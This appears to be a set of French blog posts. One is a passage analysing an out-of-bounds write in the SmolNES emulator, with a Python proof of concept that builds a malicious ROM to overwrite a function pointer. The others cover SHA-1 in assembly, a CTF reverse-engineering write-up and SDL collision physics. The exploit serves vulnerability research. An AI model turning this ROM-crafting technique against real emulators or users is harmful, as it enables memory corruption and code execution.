$2006 (PPUADDR) : définit l’adresse cible dans la VRAM en deux écritures consecutives (toggle contrôlé par le bit W) :

Première écriture -> octet haut de l'adresse (stocké dans T, registre temporaire)
Deuxième écriture -> octet bas + copie de T vers V (V = adresse active)
case 6: // $2006 PPUADDR
T = (W ^= 1)
? T & 0xff | val % 64 << 8 // 1ere ecriture : bits 8-13 de T
: (V = T & ~0xff | val); // 2eme ecriture : bits 0-7 de T, puis V = T

$2007 (PPUDATA) : lit ou écrit un octet à l’adresse pointée par V. Après chaque accès, V s’auto-incrémente :

V += ppuctrl & 4 ? 32 : 1;
V %= 16384; // 16384 = 2^14 : l'espace PPU est sur 14 bits (0 a 16383)

Ce mécanisme d’auto-incrémentation permet d’écrire des séquences d’octets consécutifs en VRAM en ne faisant que des STA $2007 répétés.


La NES ne dispose que de 32 Ko pour la PRG-ROM et 8 Ko pour la CHR. Mais certains jeux ont besoin de beaucoup plus (Super Mario Bros 3 : 384 Ko de PRG).

La solution : les Mappers, des puces supplémentaires dans la cartouche permettant de commuter des banques mémoire. Le CPU voit toujours les mêmes adresses ($8000-$FFFF), mais le Mapper peut y connecter différents morceaux de la ROM.

Comment le jeu contrôle le Mapper : les écritures dans la zone ROM ($8000-$FFFF) ne modifient pas la ROM (lecture seule). Ce comportement est détourné : les écritures sont interceptées et interprétées comme des commandes de changement de banque. C’est du Memory-Mapped I/O (MMIO).

Dans SmolNES, le numéro du Mapper est encodé dans les bits 4-7 de l’octet 6 du header iNES (rombuf[6] >> 4).


CHR-ROM : la plupart des jeux ont leurs graphismes dans une puce ROM dédiée de la cartouche. Les graphismes sont fixes. chrrom pointe dans le buffer du fichier ROM.

CHR-RAM : certains jeux (comme Zelda II, Metroid) n’ont pas de puce graphique. Ils utilisent la RAM interne de la NES (8 Ko), ce qui leur permet de modifier leurs graphismes dynamiquement. chrrom pointe alors sur chrram[8192].

Dans SmolNES, l’octet 5 du header (rombuf[5]) détermine le mode :

chrrom = rombuf[5] ? rom + (rombuf[4] << 14) : chrram;
// ^si != 0 : CHR-ROM dans le fichier ^si 0 : CHR-RAM (8 Ko statique)

C’est la distinction au coeur de la vulnérabilité : les Mappers permettent de sélectionner parmi plusieurs banques CHR. En mode CHR-ROM, avoir plusieurs banques est normal : le fichier ROM peut en contenir beaucoup. Mais en mode CHR-RAM, il n’y a que 2 banques physiques (0 et 1, soit 8 Ko). Sélectionner la banque 2 dépasse la taille de chrram[8192].


Le Mapper 3, aussi appelé CNROM, est l’un des plus simples. Il ne gère que la banque CHR. N’importe quelle écriture dans $8000-$FFFF change la banque graphique active :

case 3: // mapper 3 (CNROM)
chr[0] = val % 4 * 2; // val % 4 donne 0, 1, 2 ou 3 ; * 2 donne 0, 2, 4 ou 6
chr[1] = chr[0] + 1; // Banque suivante : 1, 3, 5 ou 7
break;
// La banque CHR est selectionnee en paires (deux sous-banques de 4 Ko)
// Banque 0 : chr[0]=0, chr[1]=1 (offsets 0 et 4096 dans chrram -> valides)
// Banque 1 : chr[0]=2, chr[1]=3 (offsets 8192 et 12288 -> DEBORDEMENT si CHR-RAM)
// Banque 2 : chr[0]=4, chr[1]=5 (offsets 16384 et 20480 -> encore plus loin)
// Banque 3 : chr[0]=6, chr[1]=7 (offsets 24576 et 28672 -> portee maximale)

En mode CHR-ROM, tous ces offsets sont valides. En mode CHR-RAM, seuls les offsets 0 et 4096 (banque 0) sont valides.


Un fichier .nes commence par un header de 16 octets :

Offset Taille Description
0 4 "NES\x1A" (magic number)
4 1 Nombre de banques PRG-ROM (16 Ko chacune)
5 1 Nombre de banques CHR-ROM (8 Ko chacune). 0 = mode CHR-RAM
6 1 Flags :
bit 0 : mirroring (0=horizontal, 1=vertical)
bit 1 : batterie (PRG-RAM persistante)
bit 2 : trainer (512 octets avant la PRG-ROM)
bits 4-7 : nibble bas du numero de Mapper
7 1 Flags :
bits 4-7 : nibble haut du numero de Mapper
8-15 8 Non utilises (format iNES de base)

Dans SmolNES, ces valeurs sont lues sans validation dans rombuf et utilisées directement pour configurer l’émulateur.

#!/usr/bin/env python3
"""
PoC ROM pour smolnes : OOB Write via Mapper 3 CHR-RAM -> ecrasement de render_hook.
Layout .bss (binaire smolnes/deobfuscated compile avec poc_hook.c en deuxieme) :
chrram : offset 0 (8192 octets)
render_hook : offset 18552 (8 octets, uint8_t*)
Parametres :
- Mapper 3 actif (rombuf[6] >> 4 == 3)
- CHR-RAM mode (rombuf[5] == 0) => chrrom = chrram
- val=2 ecrit en $8000 => chr[0] = 2%4*2 = 4
- V = 0x0878 (via deux ecritures $2006)
- get_chr_byte(0x0878) = &chrram[chr[0]*4096 + 0x878] = &chrram[18552] = &render_hook
Cible : ecrire 0xDEADBEEF dans render_hook (little-endian, 8 octets).
Declencheur : quand scany==241, dot==1, smolnes appelle render_hook() => SIGSEGV.
"""
TARGET_ADDR = 0xDEADBEEF
# ---- Calcul des parametres ----
CHRRAM_SIZE = 8192
HOOK_OFFSET = 18552 # p/d (long)&render_hook - (long)&chrram
BANK_INDEX = HOOK_OFFSET // 4096 # = 4 (chr[0] a atteindre)
INTRA_OFFSET = HOOK_OFFSET % 4096 # = 2168 = 0x878
assert BANK_INDEX in [2, 4, 6], f"Bank {BANK_INDEX} pas atteignable avec Mapper 3 (val%4*2)"
MAPPER_VAL = BANK_INDEX // 2 # val tel que val%4*2 = BANK_INDEX => val = BANK_INDEX/2
# V = INTRA_OFFSET (on utilise bank 0 pour acceder via chr[0])
V = INTRA_OFFSET # 0x878
V_HIGH = (V >> 8) & 0x3F # byte haut pour $2006 (6 bits)
V_LOW = V & 0xFF # byte bas pour $2006
TARGET_BYTES = TARGET_ADDR.to_bytes(8, 'little')
print(f"[*] render_hook offset depuis chrram : {HOOK_OFFSET} (0x{HOOK_OFFSET:04X})")
print(f"[*] Bank index : {BANK_INDEX} => mapper write val={MAPPER_VAL} en $8000")
print(f"[*] V = 0x{V:04X} => $2006 writes : 0x{V_HIGH:02X} puis 0x{V_LOW:02X}")
print(f"[*] Cible : 0x{TARGET_ADDR:016X}")
print(f"[*] Bytes little-endian : {TARGET_BYTES.hex()}")
# ---- Construction du code 6502 ----
code = bytearray()
def nop():
return bytes([0xEA])
def lda_imm(val):
return bytes([0xA9, val])
def sta_abs(addr):
return bytes([0x8D, addr & 0xFF, addr >> 8])
def jmp_abs(addr):
return bytes([0x4C, addr & 0xFF, addr >> 8])
# Etape 1 : Mapper 3, ecriture en $8000 pour fixer chr[0] = BANK_INDEX
code += lda_imm(MAPPER_VAL)
code += sta_abs(0x8000)
# Etape 2 : positionner V via deux ecritures consecutives en $2006
code += lda_imm(V_HIGH)
code += sta_abs(0x2006)
code += lda_imm(V_LOW)
code += sta_abs(0x2006)
# Etape 3 : ecriture des 8 octets de TARGET_ADDR via $2007
# get_chr_byte(V) => &chrram[HOOK_OFFSET] = &render_hook
# V s'auto-incremente de 1 apres chaque acces => ecritures consecutives
for byte in TARGET_BYTES:
code += lda_imm(byte)
code += sta_abs(0x2007)
# Boucle infinie (NOP + JMP) pour laisser le PPU avancer jusqu'a scany==241
nop_offset = len(code)
code += nop() # NOP
code += jmp_abs(0x8000 + nop_offset) # JMP back to NOP
print(f"[*] Taille du code : {len(code)} octets (debut a $8000)")
print(f"[*] Boucle NOP a $8000+{nop_offset} = $" + f"{0x8000+nop_offset:04X}")
# ---- Construction de la ROM iNES ----
PRG_SIZE = 16384 # 1 banque PRG = 16 Ko
# Header iNES (16 octets)
header = bytearray(16)
header[0:4] = b'NES\x1a'
header[4] = 1 # 1 banque PRG (16 Ko)
header[5] = 0 # 0 banque CHR => CHR-RAM mode
header[6] = 0x30 # Mapper 3 (nibble haut = 3), mirroring horizontal
# bytes 7-15 = 0x00
# PRG ROM : rempli de NOP (0xEA), code au debut, reset vector a la fin
prg = bytearray(nop() * PRG_SIZE)
# Code a l'offset 0 ($8000)
prg[0:len(code)] = code
# Reset vector a $FFFC-$FFFD (offset 0x3FFC dans PRG) : pointe vers $8000
prg[PRG_SIZE-4] = 0x00 # low byte de $8000
prg[PRG_SIZE-3] = 0x80 # high byte de $8000
rom = bytes(header) + bytes(prg)
output_path = "poc_deadbeef.nes"
with open(output_path, "wb") as f:
f.write(rom)
print(f"\n[+] ROM ecrite : {output_path} ({len(rom)} octets)")
print(f"[+] Lancer : ./smolnes/deobfuscated {output_path}")
print(f"[+] Attendu : SIGSEGV / appel a 0x{TARGET_ADDR:X} apres ~1 frame PPU")

SHA-1 from scratch in assembly

Lors de ma deuxième année d’étude, dans le cadre d’un cours d’assembleur j’ai eu l’opportunité de me lancer un défi : créer un système d’authentification sécurisé simple, permettant à un utilisateur de se connecter à une application fictive. Le coeur principalement intérêssant de ce projet résidait dans le traitement sécurisé de mots de passe, ce qui signifiait implémenter un algorithme de hashage.

Pour cela je me suis orienté vers l’algorithme SHA-1, bien qu’il soit considéré comme cryptographiquement dépassé aujourd’hui, celui-ci reste proche algorithmiquement de son évolution SHA-2 (qui lui est toujours valide à ce jour) tout en limitant sa complexité d’implémentation, et évitant tout de même d’être ridiculement faible à la manière du MD5.

Mon approche pour ce projet s’est déroulée en trois étapes clés :

  1. Compréhension théorique : Pour la compréhension conceptuelle de l’algorithme je me suis servis de cette page de Brilliant, qui explique rigouresement d’un point de vue mathématique comment fonctionne l’algorithme.

  2. Prototypage : Partir d’une page blanche et convertir directement l’algo de la théorie à l’assembleur est une tâche difficile. Pour créer une étape intermédiaire, je me suis basé sur une implémentation Javascript de référence. A partir de celle-ci, j’ai ensuite utilisé ChatGPT comme un outil d’assistance pour traduire la logique en C. L’objectif était d’obtenir rapidement un code “proche de la machine”, qui manipulait directement les octets et les mots, afin d’avoir un modèle clair avant de descendre au niveau des registres.

  3. Conversion en Assembleur : Cette étape a représenté le coeur du projet. J’ai traduit la logique du programme du C vers l’assembleur, me confrontant évidemment à des défis inattendu, bien au delà de la simple traduction.

Voici un texte hashé avec mon implémentation :

Et le même texte hashé sur un site en ligne :

Un point technique intéressant : Hexadécimal vs sa Représentation

Section intitulée « Un point technique intéressant : Hexadécimal vs sa Représentation »

Créer un programme de ce type en n’ayant aucune couche d’abstraction nous met parfois face à des problématiques innatendu, généralement implicite dans les langages plus haut niveau.

En effet par exemple, l’algorithme nous permet de générer un hash du contenu d’entrée, qui est affiché en tant qu’une représentation hexadécimale des valeurs réellement utilisé dans le calcul (et donc présente mémoire).
Pour clarifier cela, notez que le chiffre hexa 0x11 est stocké en mémoire tel quel (en tant que 11 hexa), mais sa représentation est stocké avec les charactères texte 1, ayant pour valeur ascii 0x31. Donc la représentation de la valeur 0x11 en mémoire est 0x3131 lorsqu’elle doit être affiché en ascii.

Il y a donc une étape de convertion supplémentaire nécessaire à la fin de l’algorithme, cela est habituellement pris en charge par les fonctions de formatage en C :

// h0 - h4 sont des valeurs hexa pure
// les "%x" indique implicitement à sprintf d'effectuer la conversion discutés
sprintf(output, "%08x%08x%08x%08x%08x", h0, h1, h2, h3, h4);

Réimplémenter ce comportement en assembleur a été un exellent exercice de manipulation de chaîne de caractères au plus bas niveau.

Mon implémentation fonctionne correctement pour les entrées jusqu’à 31 caractères. Au-delà, le hash produit diverge de la référence.

C’est après coup que j’ai découvert la limite, et ne m’étant pas replongé dans le code je ne saurais pas dire d’où vient l’erreur. La coïncidence de la limite à 31 caractères est tout de même suspecte : 32 caractères = 256 bits, ce qui suggère un problème de buffer ou un off-by-one à cette frontière.


Vous trouverez le code source sur le répository suivant :

Étiquettes :

Hack'in 2025 - Reverse - Animal Fabuleux

Achievement : First Blood sur ce challenge lors de l’événement !

Fichier fourni : animal_fabuleux

L’objectif est de trouver le bon argument (flag) à passer à ce programme.

Un premier file nous indique que nous avons affaire à un binaire ELF 64-bit.

Fenêtre de terminal
~/Downloads/Hackin  file animal_fabuleux
animal_fabuleux: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=703e8337a1f696300ff09ab3426e26afa98bda38, for GNU/Linux 3.2.0, stripped

Je remarque aussi que celui-ci est stripped, ce qui rendra le travail un peu moins agréable, mais cela reste un inconvénient mineur.

Ensuite effectuer strings filtré par |grep flags révèle les chaînes suivantes :

Fenêtre de terminal
~/Downloads/Hackin  strings animal_fabuleux |grep flag
wrong flag
well done! you can use this flag to validate the challenge: HNx04{%s}
Usage: %s <flag>

Enfin, avant de commencer le désassemblage, j’essaie de lancer le programme et constate cette erreur :

Fenêtre de terminal
~/Downloads/Hackin  ./animal_fabuleux blablabla
./animal_fabuleux: error while loading shared libraries: libunicorn.so.2: cannot open shared object file: No such file or directory

Cela nous donne un indice énorme, le programme utilise une librairie nommée Unicorn
Après une rapide recherche google, j’apprends ce qu’est Unicorn : “Unicorn is a lightweight multi-platform, multi-architecture CPU emulator framework.

Ma première réaction a été “Oula, les problèmes”, et réfléchir à changer de challenge. Mais j’ai décidé de ne pas me laisser décourager par l’aura intimidante de celui-ci.

Après avoir installé la librairie, voici le résultat du programme :

Fenêtre de terminal
~/Downloads/Hackin  ./animal_fabuleux testaaa
wrong flag

J’ai remarqué qu’entre son lancement et l’affichage de “wrong flag”, il y avait un délai, ce qui est probablement une mesure anti-bruteforce.
De plus, nous pouvons nous attendre à ce que la chaîne de retour si nous trouvons le bon flag soit : well done! you can use this flag to validate the challenge : HNx04{cequejaientré}, comme nous l’avons vu dans les strings

Takeaway :

  • Binaire stripped, pas de symbols utile
  • Le flag est au format HNx04{%s}
  • Une librairie d’émulation de CPU est utilisé (Unicorn)

Après avoir passé le programme dans Binary Ninja, je constate que le plus gros de la logique se déroule dans la fonction main. Celle-ci se décompose en 3 parties :

  1. Vérification du contexte
  2. Initialisations
  3. Boucle logique principale

Fonction main, vérification du contexte Le programme demande exactement deux arguments (son propre nom, puis le flag)
Puis il attend une seconde (la mesure anti-bruteforce)
Et vérifie si l’argument 1 (notre flag) a bien une longueur de 8 caractères. Dans le cas contraire la fonction sub_4011d9 (qui après inspection affiche la chaîne wrong flag) est appelé et le programme s’arrête.
Nous pouvons donc renommer sub_4011d9 en showFailText et continuer.

Takeaway : le flag fait 8 caractères

Ici, nous repérons plusieurs utilisations de fonctions commençant par uc_, en remontant à leurs définitions, nous constatons que ce sont des fonctions externes : Ce sont à coup sûr les fonctions venant de UniCorn (UC).

N’ayant pas trouvé de documentation explicite pour ces fonctions, je me suis rabattu sur le tutoriel sur le site officiel d’Unicorn, qui donne une vue d’ensemble de comment s’utilisent ces fonctions. À partir de cela j’ai donc déduit l’utilité de chacune d’entre elles et la signification de leurs paramètres.

  • uc_open
  • uc_mem_map
  • uc_mem_write
  • uc_emu_start
  • uc_mem_read (non présent dans l’exemple)

Prenons ces fonctions une à une :

Nous voyons que uc_open prend un paramètre d’architecture, de mode, et un pointeur sur (supposément) une structure uc_engine.

Dans le fichier unicorn.h trouvable sur github, nous pouvons voir les valeurs associées à ces flags.

Dans notre cas, l’appel était uc_open(2, 0, &var_20) ce qui correspond à uc_open(UC_ARCH_ARM64, UC_MODE_ARM, &var_20).
Le mode pourrait aussi être UC_MODE_LITTLE_ENDIAN, mais cela revient probablement au même si ARM utilise le little endian par défaut.

Takeaway: Le processeur simulé est de l’architecture ARM64 (AArch64).

uc_mem_map semble permettre de définir une plage de mémoire utilisable pour l’émulation du processeur, quant à uc_mem_write, elle semble permettre d’écrire un nombre de bytes à une adresse donnée. Nous avons donc deux fonctions permettant de manipuler les données écrites dans la mémoire virtuelle.

À partir de ces informations, nous pouvons donc modifier les noms/types des variables pour y voir plus clair :

Ce que fait ce code est donc d’initialiser l’émulation du CPU virtuel avec deux zones mémoire. La première se situant à l’adresse 0x1000 jusqu’à 0x1400 (appelons la stack 1), et la deuxième s’étendant de 0x4000 à 0x104000 (appelons la stack 2). Cette dernière a reçu l’écriture d’une suite d’instructions sous forme d’opcodes que nous pouvons trouver dans la mémoire statique du programme.

Enfin, il y a aussi une mystérieuse constante qui est initialisée avec la valeur 0x4c53, que j’ai donc nommée someConstant_4c53.

Takeaway :

  • Deux zones de mémoire virtuelles sont en place : 0x1000 - 0x1400 -> zone pour les données 0x4000 - 0x104000 -> zone pour le code
  • Une constante inutilisée pour l’instant existe, sa valeur est 0x4c53

Rendu à ce moment du désassemblage, il nous reste quelques variables à déduire :

  1. sub_4011ef -> fonction affichant le flag, c’est donc le code que nous visons
  2. var_c_1 -> semble être un compteur s’incrémentant à chaque passage dans la boucle, si nous parvenons à le rendre égal ou supérieur à 2, nous aurons le flag
  3. rax_35 -> clairement un stockage d’erreur
  4. var_30 -> sûrement un booléen, doit être false pour ne pas sortir de la boucle et incrémenter la variable var_c_1 qui nous permettra d’avoir le flag.
  5. data_40210f -> contient deux null-bytes
  6. var_11_1 -> parait parfaitement inutile

Avant de passer à l’interprétation, réécrivons le nom des variables pour clarifier :

Que fait donc cette partie du programme ? Le but pour avoir le flag est de réussir à boucler au moins deux fois dans le while, sans break, afin que counter >= 2 soit true et afficher le flag. Pour ce faire nous devons donc comme dit éviter le break dans le if (isWrongFlag), et cette variable est définie par la lecture de ce qu’il se trouve à l’adresse 0x1005 dans notre stack virtuelle (stack 1).

À partir de là, nous devons comprendre ce qu’il se passe dans le CPU virtuel pour déterminer comment garder isWrongFlag à false.

Tout d’abord la boucle while actuelle ne manipule qu’uniquement la stack 1, cela fait sens, car la stack 2 est réservé aux instructions et ne doit donc pas être modifiée.

Le premier mem_write écrit dans un premier temps 4 caractères à l’adresse 0x1000, venant de notre argv[1] (donc notre flag passé en argument). Ces 4 caractères sont sélectionnés avec un décalage (offset) de counter * 4. Donc offset 0 au premier tour, et offset 4 au second. Autrement dit, si nous passons le flag 12345678 à notre programme, la chaîne 1234 sera écrite à l’adresse 0x1000 lorsque counter est à 0 (première exécution de la boucle while), puis 5678 sera écrit quand counter == 1.

Le deuxième mem_write écrit 1 byte à l’adresse 0x1004 (donc juste après les 4 caractères du dessus), venant de la constante de l’adresse de someConstant (+ counter) qui est égale à 0x4c53. Sachant que ce système utilise le little endian et que nous n’écrivons qu’un byte, le 0x53 uniquement sera lu en premier. Puis une fois que counter sera à 1, l’adresse de someConstant + 1 pointera vers le 0x4c

Enfin, le troisième mem_write écrit un null-byte (0x00), à l’adresse 0x1005, afin de remettre à zéro le booléen de validité du flag, dans la stack virtuelle.

Finalement, nous avons la fonction uc_emu_start qui est appelé et qui lance l’émulation dans ces conditions grâce aux données insérées dans la stack jusqu’à présent.

Nous connaissons désormais tous les tenants et aboutissants, la seule chose restante à comprendre afin de former un flag est ce qu’il se passe dans les instructions du processeur ARM. Ce dernier contient la clé du crackage de ce challenge.

Voici la liste d’opcode écrit dans la stack 2 (d’instructions) du processeur virtuel : 800082d200004039081400d10a0082d2940080524b0140396b01084a7f01007180000054250080d2a40082d2850000f9080900914a050091940600519f020071a1feff5400

N’ayant jamais fait d’ARM auparavant, j’ai dû jongler entre le désassembleur en ligne et de la documentation (assistée par LLM pour accélérer la compréhension des subtilités de l’architecture) pour traduire les opcodes en logique compréhensible.

Grâce au désassembleur de Shell-Storm, nous pouvons spécifier notre architecture, et récupérer de l’assembleur ARM, lisible permettant de travailler : Afin de comprendre ce que cela signifie, essayons de traduire cela en Pseudo-C littéralement : Nous avons une base, mais cela reste peu clair, donc après avoir analysé le sens de mon propre code, voici l’algorithme qui est exécuté sur le CPU ARM :

Grâce à cela, nous savons enfin que la variable mystère someConstant est utilisée comme “clé de chiffrement”, et nous permet de trouver le flag. En effet, comme nous l’avons vu auparavant, cet algorithme sera appelé deux fois pour les deux moitiés de notre flag à 8 caractères. Et grace à ce code, nous voyons que la lettre du flag passée doit être égale à la clé passée, + un ajout de 2 à cette clé à chaque passage. Sans oublier que la clé passée à l’origine se voit soustraire 5.

Nous avons donc pour les 4 premières lettres (key passed: 0x53) : 0x53 - 0x5 = 0x4E -> (+0x2) = 0x50 -> (+0x2) = 0x52 -> (+0x2) = 0x54

Puis pour les 4 lettres suivantes (key passed: 0x4c) : 0x4c - 0x5 = 0x47 -> (+0x2) = 0x49 -> (+0x2) = 0x4B -> (+0x2) = 0x4D

Notre flag théorique final est donc \x4e\x50\x52\x54\x47\x49\x4b\x4d Qui équivaut à NPRTGIKM

Et voilà GG !


C’est maintenant en écrivant ce write-up que je suis tombé sur l’Unicorn Engine API Documentation, ce dernier contient une bonne quantité d’informations dont j’aurais eu besoin pour comprendre le fonctionnement des fonctions de cette librairie sans avoir à les déduire depuis le tutoriel.

Cela m’aurait permis de gagner du temps, mais d’un autre côté avoir été contraint de deviner le fonctionnement de l’API a été un excellent exercice ayant renforcé ma compréhension de la logique bas niveau.

Un autre point d’amélioration possible aurait été de désassembler la chaîne d’opcode elle même, afin de me donner accès directement à du pseudo C, permettant ainsi une compréhension rapide de cette partie.
Cependant n’ayant jamais fait d’ARM auparavant je pense qu’être passé par la manière manuelle a aussi été une opportunité d’en apprendre sur cette architecture, ce qui me fera gagner du temps sur mes prochains challenges. Pour la suite, il faudra que je sache utiliser du désassemblage automatisé pour la rapidité, tout en ayant appris cette architecture pour être capable de descendre à l’assembleur pour comprendre les subtilités quand nécessaire.

Merci à toute l’équipe du Hack’in pour l’événement, et au créateur de ce super challenge !
J’en garde un très bon souvenir, et ai hâte de la prochaine édition :)

(Et merci pour la banane Wannacry et les pins ahah) Image de sacoche "Wannacry" et Pins "Hardcore" et "First Blood"

Créer un système de physique avec SDL

Cet article s’attarde sur la création de comportements liés à la physique (gravité, collisions, rebonds) dans le contexte du développement de DuckDuckGame. Elle ne couvre pas la représentation des objets dans l’espace, mais uniquement la physique appliquée à ces objets.

Pour créer de la gravité, c’est très simple, il suffit qu’à un intervalle régulier de temps (chaque image), la vitesse verticale d’un objet augmente. Pour cela il suffit d’avoir une variable représentant cette vitesse, puis d’y ajouter une valeur définie tel que dans le code suivant :

speed += 0.2;
personnage->rect->y += speed;

Et voila ! Notre personnage tombe.
Il faut noter que cette approche dépend du nombre de fois que cette fonction est exécutée par seconde. Le plus, le plus vite sera la chute. Pour palier à cela il nous faudrait une variable contenant le temps depuis la dernière image (connu sous le nom de DeltaTime), et multiplier notre augmentation de vitesse par celle-ci (afin que si le nombre d’image par seconde est élevé, la distance parcouru soit petite, et inversement).
Cependant obtenir un tel nombre a ses propres défis techniques, et c’est pour cela que dans la suite de ce document nous assumerons que le nombre d’image par seconde est fixe.

Le premier code permettant de gérer des collisions était celui-ci :

speed += 0.2;
if (personnage->rect->y >= 500) {
personnage->rect->y = 500;
speed = 0;
}
personnage->rect->y += speed;
render(personnage);

Il se basait sur une variable speed (qui représentait la vitesse verticale) qui était ajoutée au personnage à chaque frame, le faisant ainsi tomber en accélérant.
En guise de sol, nous avions les coordonnées Y=500 auquel le personnage était ramené s’il les dépassait.

À noter que rect->y représente le bord supérieur du personnage : à y=500 son sommet est à 500, son bas à 500+h, donc légèrement dans le sol. La position correcte serait personnage->rect->y = 500 - personnage->rect->h, mais cela ne change pas la démonstration du principe.

Cependant cette méthode amenait un léger problème :
Quand le personnage tombe de haut, sa vitesse faisait qu’il dépassait visiblement la barrière des 500, et était ramené à l’image d’après, donnant un effet de rollback.

La correction à ceci a été d’anticiper la prochaine position du personnage à l’image d’après pour le placer directement à la bonne position (nous aurions pu vérifier de nouveau la position Y du personnage avant de le render, mais cela revient un peu au même). Ce concept d’anticipation de la prochaine position sera un fondement dans la suite du développement de ce système de collision.

Voici le code implémentant cette idée :

speed += 0.2;
if (personnage->rect->y + speed >= 500) {
personnage->rect->y = 500;
speed = 0;
}
personnage->rect->y += speed;
render(personnage);

(Le ”+ speed” après la position Y du perso, dans le if, modification discrète mais très efficace)

A partir de là, nous pouvons améliorer la structure d’un objet de manière à ce qu’elle puisse stocker les valeurs de vitesse X et Y de l’objet.
Et nous créerons une fonction (GetNextPosition) utilisant cela afin de retourner le Rect de la prochaine position de notre objet.

Maintenant, la prochaine étape sera d’améliorer ce avec quoi notre joueur a une collision. Pour l’instant nous utilisons simplement une hauteur prédéfinie dans le code, alors essayons d’utiliser un autre objet du jeu !

Nous attaquons donc les collisions “Objet - Objet” :
Pour savoir si un objet est en collision avec un autre, nous devons savoir s’ils se chevauchent, en d’autres termes, s’il y a une intersection entre eux.
Comme nous n’utilisons uniquement des rectangles pour l’instant, nous pouvons utiliser de manière très pratique la fonction SDL nommée “SDL_IntersectRect”, qui permet de savoir s’il y a une intersection entre deux Rect, et si oui d’avoir le rectangle représentant cette intersection comme montré dans le schéma suivant :

Dans notre cas, nous aurons un personnage, qui intersectionne avec un rectangle qui représente le sol, comme suit :

Nous constatons donc la collision entre ces deux objets, et la fonction SDL_IntersectRect nous retournerait bien TRUE, de plus nous récupèrerions aussi l’équivalent du rectangle bleu ici, qui représente l’intersection de ces deux Rect.
Additionnellement, ce schéma ne représente pas l’utilisation de la simulation de prochaine position que nous avons créée plus tôt. Dans les faits, à un état de repos le personnage serait situé sur le sol, et gagnerait à chaque frame de la vélocité verticale (due à la gravité). Cela déplacerait sa boite de prochaine position dans le sol, permettant ainsi de détecter la collision, et annulerait la vitesse verticale gagnée -> faisant donc effectivement rester le personnage immobile sur le sol, l’empêchant de le traverser.

Dans notre code, tout ce que nous aurons à faire c’est détecter avec la fonction SDL_IntersectRect s’il y a une collision entre la future position de notre personnage, et l’objet collisioné. Et si c’est le cas, déplacer le joueur au dessus de celui-ci :
personnage->y = obstacle->y - personnage->height
OU
personnage->y = personnageNextPos->y - IntersectRect->height

SDL_Rect* intersect = (SDL_Rect*) malloc(sizeof(SDL_Rect));
SDL_Rect* colliderNextPos = GetNextPos(collider); // GhostBox : projection de la position future du joueur
//N'oublions pas l'astuce d'utiliser la prochaine position de l'objet.
SDL_bool hasCollided = SDL_IntersectRect(colliderNextPos, collideePos, intersect);
if (hasCollided == SDL_TRUE) {
collider->rect->y = collidee->rect->y - collider->rect->h;
}
free(intersect);

Maintenant, nous avons enfin un système permettant au personnage de tomber sur un objet, et d’y rester sans bouger !

Cependant, nouveau problème :)
Le code présenté ci-dessus engendrerait des situations comme celle-ci :

Si notre joueur entre en collision depuis le côté avec ce qui représente le sol, il se fait téléporter au dessus de celui-ci.
Ce n’est de toute évidence absolument pas le comportement que nous désirons, nous devons donc adapter notre code afin qu’il puisse être plus généraliste.
L’objectif est de permettre de gérer proprement les collisions, qu’elles viennent aussi bien du côté, dessus ou dessous !

Mais pour commencer cantonnons nous à faire fonctionner les collisions pour 1 axe.
Notre code actuel fonctionne pour une collision sur 1 seul axe, ET en venant d’un seul côté de cet axe. En effet, si nous entrons en collision avec le sol que nous avons codé juste au dessus, nous nous faisons téléporter dessus ce dernier.

Pour commencer la résolution de ce problème, changeons d’abord d’axe. L’axe Y que nous utilisions jusqu’à présent était intuitif du point de vue de la gravité, cependant le fait que sa valeur augmente en descendant, ne l’est pas.
Prenons donc l’exemple d’un mur, et définissons les termes de l’explication :
Dans les exemples qui suivent, nous ferons référence à la prochaine position du joueur en tant que GhostBox, celle-ci est simplement une projection du joueur à partir de sa vélocité actuelle.

Très bien, grâce à ce que nous avons défini précédemment, cette collision serait résolue en plaçant le player juste collé au mur.

Voici le code complet implémentant les collisions de tous côtés, avec plusieurs objets simultanément :

WindowElement* collider = personnage;
SDL_Rect* colliderNextPos = GetNextPosition(collider); // GhostBox : projection de la position future du joueur
// Sachant que obs représente les objets du monde
for (unsigned i = 0; i < obs->lenght; ++i) {
WindowElement* collidee = obs->objects + i; //mieux que &obs->objects[i]
SDL_Rect* collideeNextPos = GetNextPosition(collidee);
SDL_Rect* intersect = (SDL_Rect*) malloc(sizeof(SDL_Rect));
SDL_bool hasCollided = SDL_IntersectRect(colliderNextPos, collideeNextPos, intersect);
if (hasCollided == SDL_TRUE) {
// À chacun de ces `if`, on vérifie la position du collider par rapport au collidee en utilisant leur position actuelle,
// donc PAS leur future position. Mais tout en sachant que leur prochaine position est bien entrée en collision
// Ici par exemple on sait qu'il VA y avoir collision, et on regarde si la collision vient du haut
if (collider->rect->y + collider->rect->h <= collidee->rect->y)
{
collider->vY = 0;
colliderNextPos->y -= intersect->h;
}
else if (collider->rect->y >= collidee->rect->y + collidee->rect->h) // collision vient du bas
{
collider->vY = 0;
colliderNextPos->y += intersect->h;
}
if (collider->rect->x + collider->rect->w <= collidee->rect->x) // collision vient de gauche
{
collider->vX = 0;
colliderNextPos->x -= intersect->w;
}
else if (collider->rect->x >= collidee->rect->x + collidee->rect->w) // collision vient de droite
{
collider->vX = 0;
colliderNextPos->x += intersect->w;
}
}
free(intersect);
collidee->rect->x = collideeNextPos->x;
collidee->rect->y = collideeNextPos->y;
}
// Maintenant que nous avons crafté une prochaine position cohérente, nous l'appliquons
collider->rect->x = colliderNextPos->x;
collider->rect->y = colliderNextPos->y;

Cette implémentation a une subtilité : les collisions sont résolues dans l’ordre du tableau obs->objects. Dans DuckDuckGame, deux sols se téléportent en boucle pour simuler un défilement infini, et le joueur peut se retrouver simultanément en collision avec les deux à leur jonction.

Si A est résolu en premier, seule une collision verticale est détectée, elle est résolue correctement et B ne pose plus problème. En revanche si B est résolu en premier, la GhostBox déborde à la fois sur Y et sur X : les deux résolutions sont mutuellement exclusives. Notre code vérifiant Y avant X, le comportement dépend de laquelle des deux conditions est satisfaite, et au niveau d’une jonction, le joueur glissant horizontalement peut déclencher la collision X en premier, le faisant bloquer comme contre un mur invisible.

À noter que résoudre X avant Y ne réglerait pas le problème au niveau moteur : cela inverserait simplement le cas problématique. Deux murs superposés verticalement formeraient alors une plateforme invisible.

Plusieurs approches ont été envisagées pour déterminer l’ordre de résolution :

  • Distance naïve (centre à centre) : trier par distance entre le centre du joueur et le centre de chaque objet. Rejeté : si A et B ont des tailles radicalement différentes, la distance est biaisée par la taille et non par la proximité réelle.
